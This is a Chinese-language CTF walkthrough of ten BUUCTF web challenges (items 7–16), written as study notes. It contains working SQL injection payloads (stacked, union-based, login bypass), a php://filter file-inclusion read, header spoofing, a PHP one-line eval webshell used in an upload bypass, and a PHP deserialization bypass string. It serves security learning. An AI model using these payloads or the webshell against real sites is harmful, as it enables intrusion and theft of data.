Buuctf-Web(7-16)
7[SUCTF 2019]EasySQL
easy sql不ez
[BUUCTF:SUCTF 2019]EasySQL-CSDN博客
[buuctf-SUCTF 2019]EasySQL 1(小宇特详解)-CSDN博客
输入1有回显,很多符号都被过滤
堆叠注入
在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。
查库名
1; show databases;
查表名
1;use ctf;show tables;
查列名
1;show columns from Flag;
访问不到flag
sqlmap跑一遍能发现注入语句
$sql = "select ".$post['query']."||flag from Flag";
payload:
*,1
8[强网杯 2019]随便注
又是sql😭
发现是单引号闭合
输入1和2均有回显,3时错误,猜测字段为2(或者order by 语句查询也是一样的效果)
联合注入的时候回显过滤信息
return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
堆叠注入
先通过show databases爆出数据库
0'; show databases; #
然后用 show tables 尝试爆表。
0'; show tables; #
可以看到这里有两个表,我们先尝试爆words表的内容。
1'; show columns from words; #
然后报表 1919810931114514 的内容。
表名为数字时,要用反引号包起来查询。
0'; show columns from `1919810931114514`; #
爆出了flag字段
然后看佬的三种解法,自己去悟吧,我看不懂😭
[BUUCTF强网杯 2019]随便注 的三种解法-CSDN博客
通过 rename 先把 words 表改名为其他的表名。
把 1919810931114514 表的名字改为 words 。
给新 words 表添加新的列名 id 。
将 flag 改名为 data 。
payload:
1'; rename table words to word1; rename table `1919810931114514` to words;alter table words add id int unsigned not Null auto_increment primary key; alter table words change flag data varchar(100);#
payload有问题
不要直接copy到题目,不然你就会这样
现在的payload是对的
9[极客大挑战 2019]Secret File
伪协议、文件包含
看源码
访问/Archive_room.php
直接点按钮不对
再看源码
点链接,同样是这个
且提示我们没看清么?
猜测中间应该发生了跳转,我们抓包验证一下
成功找到secr3t.php
是文件包含的绕过,过滤了以下内容
- ../
- 大小写tp
- 大小写input
- 大小写data
这个过滤还是挺容易绕过的,php://filter直接读取flag.php:
?file=php://filter/read=convert.base64-encode/resource=flag.php
PCFET0NUWVBFIGh0bWw+Cgo8aHRtbD4KCiAgICA8aGVhZD4KICAgICAgICA8bWV0YSBjaGFyc2V0PSJ1dGYtOCI+CiAgICAgICAgPHRpdGxlPkZMQUc8L3RpdGxlPgogICAgPC9oZWFkPgoKICAgIDxib2R5IHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOmJsYWNrOyI+PGJyPjxicj48YnI+PGJyPjxicj48YnI+CiAgICAgICAgCiAgICAgICAgPGgxIHN0eWxlPSJmb250LWZhbWlseTp2ZXJkYW5hO2NvbG9yOnJlZDt0ZXh0LWFsaWduOmNlbnRlcjsiPuWViuWTiO+8geS9oOaJvuWIsOaIkeS6hu+8geWPr+aYr+S9oOeci+S4jeWIsOaIkVFBUX5+fjwvaDE+PGJyPjxicj48YnI+CiAgICAgICAgCiAgICAgICAgPHAgc3R5bGU9ImZvbnQtZmFtaWx5OmFyaWFsO2NvbG9yOnJlZDtmb250LXNpemU6MjBweDt0ZXh0LWFsaWduOmNlbnRlcjsiPgogICAgICAgICAgICA8P3BocAogICAgICAgICAgICAgICAgZWNobyAi5oiR5bCx5Zyo6L+Z6YeMIjsKICAgICAgICAgICAgICAgICRmbGFnID0gJ2ZsYWd7OTI2NWQyMmItYjNlZS00OTllLWE1NzMtN2RlZDVkNDllZWU0fSc7CiAgICAgICAgICAgICAgICAkc2VjcmV0ID0gJ2ppQW5nX0x1eXVhbl93NG50c19hX2cxcklmcmkzbmQnCiAgICAgICAgICAgID8+CiAgICAgICAgPC9wPgogICAgPC9ib2R5PgoKPC9odG1sPgo=
解码flag{9265d22b-b3ee-499e-a573-7ded5d49eee4}
10[极客大挑战 2019]Http
http头
是一个宣传页面,也没有什么功能点,看看源码
找到一个文件,访问试试
提示我们要来自特定来源It doesn't come from 'https://Sycsecret.buuoj.cn
抓包改http头的referer 字段
提示,需要使用"Syclover" browser
浏览器。
在http请求头中,通过修改User-Agent
参数值为"Syclover" browser
来伪造请求源所使用浏览器。
提示,你只能够在本地读取这个文件!!!
这是限制了文件访问的源地址,可用通过X-Forwarded-For
参数来伪造访问的源地址,这里可以修改为127.0.0.1或localhost
11[极客大挑战 2019]Knife
打开蚁剑连接,密码Syc
外面找到根目录下的flag文件即可
12[极客大挑战 2019]LoveSQL
通用语句:
利用 union select 联合查询,将id值设置成不成立,即可探测到可利用的字段数payload是插入到原来的语句当中,构成了两个sql的语句,当第一个sql语句正确返回时,便不会显示第二个sql语句的结果。
?id=-1 union select 1,2,3 --+
利用函数database(),user(),version()可以得到所探测数据库的数据库名、用户名和版本号
?id=-1' union select 1,database(),version() --+
利用 union select 联合查询,获取表名
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='已知库名'--+
利用 union select 联合查询,获取字段名
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='已知库名' and table_name='已知表名'--+
利用 union select 联合查询,获取字段值
?id=-1' union select 1,2,group_concat(已知字段名,':'已知字段名) from 已知表名--+
哈哈哈好咱不用
万能密码:这里账号填1' or 1=1#
,密码随便写。(密码框填写万能密码,账号随便填写也是一样的,意思是两个框都有注入点)
登录成功,观察url,跳转到了check.php页面。并得到了用户名和密码,尝试对密码解密,失败了,那就继续注入。(以账号框为注入点)
查询字段数
1' order by 3#
1
1' order by 4#
1
第二条语句报错说明存在3个字段
判断回显点(url中#为%23)
/check.php?username=1' union select 1,2,3%23&password=1
两个回显点
爆数据库名geek
/check.php?username=1' union select 1,2,database()%23&password=1
爆列名
/check.php?username=1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23&password=1
/check.php?username=1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='geek'%23&password=1
爆表名(两个字段爆表的结果相同)
/check.php?username=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'%23&password=1
/check.php?username=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='geekuser'%23&password=1
爆数据
/check.php?username=1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1%23&password=1
flag{ac03843b-210d-4d9a-9197-d1e923a60a20}
13[极客大挑战 2019]Upload
从页面上来看是上传一个图片文件,但是不知道是怎样检查的,要先试一试
一般可以检查的地方有:
后缀名、content-type、文件头的部分内容
先上传一个php,不做任何修改
将content-type改为image/jpeg,放包发现对php后缀名进行检测
绕过后缀的有文件格式有php,php3,php4,php5,phtml.pht
接下来试一下phtml+修改content-type
phtml一般是指嵌入了php代码的html文件,但是同样也会作为php解析
检查文件头了,加上GIF89a
从提示中可见其检测出一些字符
我们修改一句话木马
GIF89a? <script language="php">eval($_REQUEST[1])</script>
上传成功
猜测路径
14[ACTF2020 新生赛]Upload
我们上传一个图片马,将后缀改为php
那我们把php改为phtml,上传成功
蚁剑连接即可
flag{05803029-3132-4678-80c5-5be158f759ea}
15[极客大挑战 2019]PHP
备份网站
逗猫啦😋
提示我们备份了网站
常见的网站源码备份文件后缀:
tar.gz,zip,rar,tar
常见的网站源码备份文件名:
web,website,backup,back,www,wwwroot,temp
有3个php文件
index.php包含class.php,并且文件是get 传参,参数为 select
class.php包含 flag.php
反推:32打印flag-->username=admin,password=100
流程:
设置两个私有变量 ,利用 __construct 构造函数 来进行一个一一对应的关系
之后__wakeup() 让 username 变量等于 guest
在类结束的时候,调用__desctruct()函数 ,如果这个 password不等于100 ,就会输出 然后退出函数。如果 username= admin 就会输出 flag 否则 失败。
在本题的关键,就是username的赋值 因为 __wakeup 会对userneme进行一次赋值,所以我们要想办法绕过该函数, 并且在一开始我们要改变 username和password的赋值
<?php
class Name{
private $username = 'admin';
private $password = '100';
}
$a=new Name();
echo serialize($a);
?>
我们要将我们要将口变为 %00 若果不写 在我们复制的时候就会减少空格
O:4:"Name":2:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}
|
如果序列化字符串中表示对象属性个数的值大于真实的属性个数时,wakeup()的执行会被跳过。
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}
16[ACTF2020 新生赛]BackupFile
备份文件
out source 外部编译文件
题目提示是备份文件
常见的网站源码备份文件后缀:
tar.gz,zip,rar,tar
常见的网站源码备份文件名:
web,website,backup,back,www,wwwroot,temp
或者dirsearch扫
这里我就不卖关子了,文件路径:/index.php.bak
访问得到文件
<?php
include_once "flag.php";
if(isset($_GET['key'])) {
$key = $_GET['key'];
if(!is_numeric($key)) {
//is_numeric()函数用于检测变量是否为数字或数字字符串。如果指定的变量是数字和数字字符串则返回 TRUE,否则返回 FALSE,注意浮点型返回 1,即 TRUE。
exit("Just num!"); //输出一条消息,并退出当前脚本:
}
$key = intval($key);
//intval() 函数用于获取变量的整数值。通过使用指定的进制转换(默认是十进制),返回变量的数值。
$str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
if($key == $str) {//弱比较
echo $flag;
}
}
else {
echo "Try to find out source file!";
}
is_numeric() PHP is_numeric() 函数 | 菜鸟教程 (runoob.com)
exit()PHP exit() 函数 | 菜鸟教程 (runoob.com)
intval()PHP intval() 函数 | 菜鸟教程 (runoob.com)
PHP弱比较:
在PHP中:
= = 为弱相等,即当整数和字符串类型相比较时。会先将字符串转化为整数然后再进行比较。比如a=123和b=123admin456进行= =比较时。则b只会截取前面的整数部分。即b转化成123。
所以,这里的a = = b是返回True。
所以这里我们只需要提供一个参数?key=123就可以拿到flag了